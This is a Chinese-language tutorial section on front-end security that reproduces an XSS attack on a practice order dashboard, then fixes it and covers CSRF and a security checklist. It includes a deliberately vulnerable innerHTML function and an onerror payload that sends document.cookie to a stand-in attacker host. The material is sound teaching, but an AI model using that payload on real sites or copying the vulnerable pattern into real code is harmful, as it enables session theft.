本节摘要:注入攻击把恶意脚本混进你的页面执行,伪造请求借用户已登录的身份干坏事。本节把 4.4 节的转义防线升级为完整攻防:注入的三条入口路与各自闸门、伪造请求的原理与令牌防线、以及一组日常安全习惯。你将先亲手攻破自己的看板一次,再逐层堵上——防线只有被攻击过才算验收。
攻击者不需要攻进服务器,他只需要让你的页面替他执行一段脚本。最顺手的入口是输入框:操作工在"产品名称"里粘贴一段带尖括号的文本,如果这段原文被直接塞进标记接口,浏览器会把它当标记解析——攻击代码就此混进页面。先复现这次攻击。
// 演习环境:看板某处用了不设防的标记接口 function renderRowBad(order) { const li = document.createElement("li"); li.innerHTML = `新工单:${order.product}`; // 危险:product 原文直接进标记接口 list.appendChild(li); } // 攻击载荷(操作工在产品名称里粘贴的内容): // <img src=x onerror="fetch('https://贼窝/steal?c='+document.cookie)"> // 后果:图片加载失败触发错误事件,错误处理器把凭据发往贼窝 // 更阴的载荷可以伪造登录框钓密码、改写工单数据、挂挖矿脚本 renderRowBad({ product: "<img src=x onerror=\"fetch('https://贼窝/steal?c='+document.cookie)\">" }); // 演习结果:控制台能看到外发请求——防线为零,一击即穿
注入攻击的三条入口路(不止输入框): - 用户输入直接进标记接口——本节主演习的路径 - 服务器返回的数据未消毒就上墙——攻击者把恶意内容存进服务器(存储式), 每个打开页面的用户都中招,杀伤面最大 - 地址参数被取出直接渲染——构造一个带毒链接钓鱼(反射式) 三条路的共同终点:不可信文本混进了标记流,被浏览器当代码执行
防线不是一道墙,是三道闸门层层设防。第一道也是最重要的一道:纯文本接口默认化——写入用户内容一律用纯文本接口,标记符号原样显示为字符。第二道:确需拼标记时内容先转义(4.4 节的消毒函数)。第三道:上下文正确——同样的文本放进属性值与放进正文,转义要求不同,用现成的模板工具而不是手拼长串。
// 闸门一:纯文本接口默认化 function renderRow(order) { const li = document.createElement("li"); li.textContent = `新工单:${order.product}`; // 纯文本接口:载荷原样显示为一行字符,不执行 // 用户看到 <img src=x ...> 这串字——攻击失败,还留了证据 list.appendChild(li); } renderRow({ product: "<img src=x onerror=alert(1)>" }); // 演习复测:无外发请求、无弹窗,攻击代码躺平成文本
// 闸门二与三:必须拼标记时的正确姿势 function renderBadge(order) { const td = document.createElement("td"); // 需求:产品名加粗显示。正确做法——节点拼装,不拼字符串: const strong = document.createElement("strong"); strong.textContent = order.product; // 用户内容走文本节点 const badge = document.createElement("span"); badge.className = "badge badge-" + STATUS_CLASS[order.status]; // 类名只从白名单映射取:状态是受控枚举,不是原文 badge.textContent = STATUS_LABEL[order.status]; td.append(strong, badge); // 结构化拼装 return td; } // 姿势对比: // 坏——td.innerHTML = "<strong>" + name + "</strong>" // 好——创建节点、文本走文本接口、动态部分走白名单 // 原则:结构用代码搭、内容走文本、枚举走映射——三路分离,毒不进渠
先看两类攻击在数据流上的位置,再展开第二场。

注入偷的是页面里的执行权,伪造攻击借的是用户的身份。原理:浏览器发请求时自动带上站点的登录凭据——这是便利设计,也是攻击面:用户不知情时被诱导发出的请求,服务器看来与本人操作无异。攻击场景还原:操作工在登录看板的同时点开了一封钓鱼页面,该页面藏着一个自动提交的表单,目标正是"删除全部工单"的接口——凭据随请求自动附上,服务器照办。
伪造攻击的链条与断点: 链条:钓鱼页面(藏毒)→ 诱导触发请求 → 凭据自动附带 → 服务器执行 断点一(服务端):敏感操作要求令牌——服务器下发一次性票据, 每个写操作必须随请求带上票据,钓鱼页拿不到票据,请求作废 断点二(服务端):校验来源标头——请求头里的来源地址对不上本站,拒收 断点三(前端配合):写操作走异步接口而非表单直提—— 异步请求受同源策略约束,跨站页面很难凭空伪造 断点四(用户教育):不明链接不点,登录态不常驻 前端的职责:配合断点三,把"改数据"全部收进异步接口调用, 并确认框架的写请求都带上了令牌与凭据类型设置
// 看板的写操作收口:全部走异步接口 async function pushToServer(order) { const resp = await fetch("/api/orders", { method: "POST", headers: { "Content-Type": "application/json", // 内容类型声明:请求体的格式,服务器按此解析 }, credentials: "same-origin", // 凭据策略:同源请求才带凭据——跨站场景不带,缩小攻击面 body: JSON.stringify(order), }); if (!resp.ok) throw new Error(`同步失败:${resp.status}`); return resp.json(); } // 令牌由框架或网关注入请求头,业务代码保持整洁 // 配合服务端的来源校验与一次性令牌,钓鱼页的三条路全部断掉
安全不是一次演习的事,是一组日常习惯:输入按"默认有罪"处理(长度限制、格式校验、白名单);输出按上下文转义(文本进文本接口、结构用节点搭);敏感操作二次确认加服务端复核;依赖定期更新(第三方库的漏洞会被批量利用);错误信息不外泄内部细节(堆栈与路径只进日志)。每一条都便宜,合起来就是看板对抗真实攻击的基本盘。
出厂安全检查单(逐项过再放行): - 全部用户内容的写入点过一遍:纯文本接口?转义?白名单? - 搜索一个关键词定位所有标记接口调用,逐处审内容来源 - 写操作全部走异步接口且带凭据策略设置 - 依赖清单过一遍:无已知高危版本的库 - 报错提示分层:给用户的话不含堆栈与内部路径 - 复跑第一场演习:攻击载荷如今显示为纯文本
⚠️ 常见坑:以为"内部工具不用防"。恰恰相反:内部工具的输入者离数据最近、权限最真——实习生误贴、供应商恶意、离职员工最后一击,受害的都是生产数据。安全防线与用户规模无关,与数据价值有关。
💡 关键直觉:所有注入攻击共享同一个前提——不可信内容与可信结构混在一条流里。防线的全部要义就是分渠:结构由代码搭建、内容由文本接口承载、受控值走白名单映射,三条渠道各自干净,毒无处容身。
四道工序全部完成,看板达到出厂状态。下一章拉远视角:框架、工具链与你的进阶路线图。